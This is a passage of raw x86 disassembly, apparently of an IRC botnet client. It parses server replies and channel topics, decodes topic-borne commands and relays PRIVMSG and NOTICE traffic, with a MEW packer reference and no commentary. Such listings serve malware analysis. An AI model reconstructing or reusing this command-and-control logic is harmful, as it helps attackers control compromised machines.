[eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED18 push offset dword_41DA80 push offset dword_419AD0 call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF18 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF18 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE18 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE18 push [ebp+arg_4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE18 push [ebp+var_90] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] loc_40E3E0: ; DATA XREF: MEW:off_419BA4o mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE18 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE18 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E97C, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E97C, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA38[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA38[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA38[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: MEW:00416ABAp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: MEW:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: sub_40E979+8j cmp [ebp+var_4], 100h jnb short loc_40E99F mov eax, [ebp+var_4] and byte_41E980[eax], 0 jmp short loc_40E983 ; --------------------------------------------------------------------------- loc_40E99F: ; CODE XREF: sub_40E979+18j and [ebp+var_4], 0 jmp short loc_40E9AC ; --------------------------------------------------------------------------- loc_40E9A5: ; CODE XREF: sub_40E979+4Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E9AC: ; CODE XREF: sub_40E979+2Aj cmp [ebp+var_4], 40h jnb short locret_40E9C7 mov eax, [ebp+var_4] movzx eax, byte_41A18C[eax] mov cl, byte ptr [ebp+var_4] mov byte_41E980[eax], cl jmp short loc_40E9A5 ; --------------------------------------------------------------------------- locret_40E9C7: ; CODE XREF: sub_40E979+37j leave retn sub_40E979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C9 proc near ; CODE XREF: sub_40A9CF+34Cp ; sub_40A9CF+E18p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 2 jnb short loc_40E9E8 xor eax, eax jmp locret_40EB4C ; --------------------------------------------------------------------------- loc_40E9E8: ; CODE XREF: sub_40E9C9+16j and [ebp+var_4], 0 and [ebp+var_8], 0 loc_40E9F0: ; CODE XREF: sub_40E9C9+17Aj push 1 pop eax test eax, eax jz loc_40EB48 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] inc eax cmp eax, [ebp+var_C] jnb short loc_40EA29 mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] movzx eax, byte_41E980[eax] shl eax, 2 mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov [ecx-1], al jmp short loc_40EA2E ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40E9C9+40j jmp loc_40EB48 ; --------------------------------------------------------------------------- 